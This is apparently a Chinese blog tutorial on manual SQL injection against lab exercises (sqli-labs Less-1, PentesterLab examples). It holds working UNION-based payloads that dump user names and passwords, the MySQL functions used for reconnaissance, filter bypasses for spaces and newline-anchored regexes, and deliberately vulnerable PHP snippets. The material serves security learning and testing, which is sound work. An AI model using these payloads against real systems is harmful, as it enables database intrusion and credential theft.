• sql注入


    SQL注入详细步骤讲解

    1、Get型 整型与字符型注入判断:

    举例:

    http://xxx/xxx/Less-1/?id=1 and 1=1 --+

    输入?id=1 and 1=1 --+正常,输入?id=1 and 1=2 --+报错,可判断为整型注入。

    http://xxx.xxx/Less-1/?id=1'

    输入?id=1'出现报错,输入?id=1''正常,可判断为字符型注入。

    http://xxx.xxx/Less-1/?id=1' and 1=1 -- -

    输入?id=1' and 1=1 -- -正常,输入?id=1' and 1=2 -- -报错,可判断为字符型注入。

    http://xxx/xxx/Less-1/?id=1' and 1=1 --+

    输入?id=1' and 1=1 --+正常,输入?id=1' and 1=2 --+报错,可判断为字符型注入。

    总结:--+为注释后面的内容 -- -也可以用,效果一样。单引号是用来猜其是否存在字符型注入的,不加的就是测试其是否是整型注入的。

    2、判断列数

    判断完整型还是字符型后,去判断有多少列,当输入的列数超过它本来的就会出现报错。

    举例:id=1' order by 4 --+ 判断这个数据库是否有四列,如果不是会报错,反之不报错。

    3、判断显示位及在显示位上放一些sql函数来获取你想要知道的。

    id改为0或负数或100000这种很大的数,这中不存在的情况就会使其报错,就会直接执行后面的语句。

    举例:id=0' union select 1,2,3 --+ 判断其中的显示位为哪个,假如是3,那就可在这个位置上加入sql函数来测试。

    MySql的函数有:

    1:system_user() 系统用户名

    2:user() 用户名

    3:current_user 当前用户名

    4:session_user() 连接数据库的用户名

    5:database() 数据库名

    6:version() MYSQL数据库版本

    7:load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数

    8:@@datadir 读取数据库路径

    9:@@basedir MYSQL 安装路径

    10:@@version_compile_os 操作系统

    举例:

    1)http://xxx/Less-1/?id=0' union select 1,2,database() --+ 获取当前数据库名。

    2)http://xxx/Less-1/?id=0' union select 1,2, group_concat(SCHEMA_NAME) from information_schema.SCHEMATA --+

    显示所有库名。

    group_concat() 是把相同的值全部以逗号分割的形式列出来。

    Example 1 基础注入
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";
    $result = mysql_query($sql);
    if ($result) {
    while ($row = mysql_fetch_assoc($result))
    echo "";
    echo "".$row['id']."";
    echo "".$row['name']."";
    echo "".$row['age']."";
    echo "";
    }
    echo "";

    example1.php?name=x' union select 1,2,(SELECT+GROUP_CONCAT(name,":",passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5--+

    2 过滤空格
    if (preg_match('/ /', $_GET["name"])) {
    die("ERROR NO SPACE");
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";
    $result = mysql_query($sql);
    和 Example 1 基本上一致,只是这里过滤了 空格,如果匹配到空格的话,直接就终止函数。

    过滤空格可以尝试通过下面的字符来替代:
    %09 TAB 键(水平)
    %0a 新建一行
    %0c 新的一页
    %0d return 功能
    %0b TAB 键(垂直)
    %a0 空格
    /**/ 多行注释
    | 0x3c62723e | 换行符

    | 0x7e | ~ 在报错注入中防止截断

    example2.php?name=x'//union//select//1,2,(SELECT//GROUP_CONCAT(name,":",passwd//SEPARATOR//0x3c62723e)//FROM//users),4,5%23

    3 过滤连续空格

    if (preg_match('/s+/', $_GET["name"])) {
    die("ERROR NO SPACE");
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";
    $result = mysql_query($sql);
    请求方式 注入类型 闭合方式
    | GET | 联合、布尔盲注、延时盲注 | where name=’X’ |
    example3.php?name=x'//union//select//1,2,(SELECT//GROUP_CONCAT(name,":",passwd//SEPARATOR//0x3c62723e)//FROM//users),4,5%23
    4

    id 直接拼接到 SQL 语句中

    $sql="SELECT * FROM users where id=";
    $sql.=mysql_real_escape_string($_GET["id"])." ";
    $result = mysql_query($sql);
    mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符:,',",那么问题来了 这一题中并没有使用引号来闭合,所以注入的时候我们也不需要引号,所以实际上这个函数并没有发挥作用,下面正常进行注入吧:
    http://192.168.1.6/sqli/example4.php?id=-2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5
    5
    if (!preg_match('/[1]+/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"] ;

    $result = mysql_query($sql);

    请求方式 注入类型 闭合方式
    GET 联合、布尔盲注、延时盲注 where id = X

    参数 id 必须是数字开头,否则直接终止函数运行。不过实际手工注入的时候默认 id 是满足这个条件的,除非我们手动修改这个 id 的值:
    2 and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5
    6

    if (!preg_match('/[0-9]+$/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"] ;

    $result = mysql_query($sql);

    id=2 and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5
    7

    if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"];

    $result = mysql_query($sql);
    %0A 换行
    http://192.168.1.6/sqli/example7.php?id=-2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5

    参考文章 https://www.sqlsec.com/2020/05/pentesterlab.html


    1. 0-9 ↩︎

  • 相关阅读:
    POJ 3280 Cheapest Palindrome (区间DP)
    UVaLive 4731 Cellular Network (期望DP)
    UVa 11404 Palindromic Subsequence (LCS)
    UVa 11552 Fewest Flops (DP)
    UVa 10534 Wavio Sequence (LIS+暴力)
    UVaLive 4256 Salesmen (简单DP)
    UVaLive 4094 WonderTeam (贪心)
    UVaLive 3266 Tian Ji -- The Horse Racing (贪心)
    POJ 3723 Conscription (最小生成树)
    NodeJS学习笔记 进阶 (4)基于express+muter的文件上传(ok)
  • 原文地址:https://www.cnblogs.com/doqingTeenager/p/15042831.html
Copyright © 2020-2023  润新知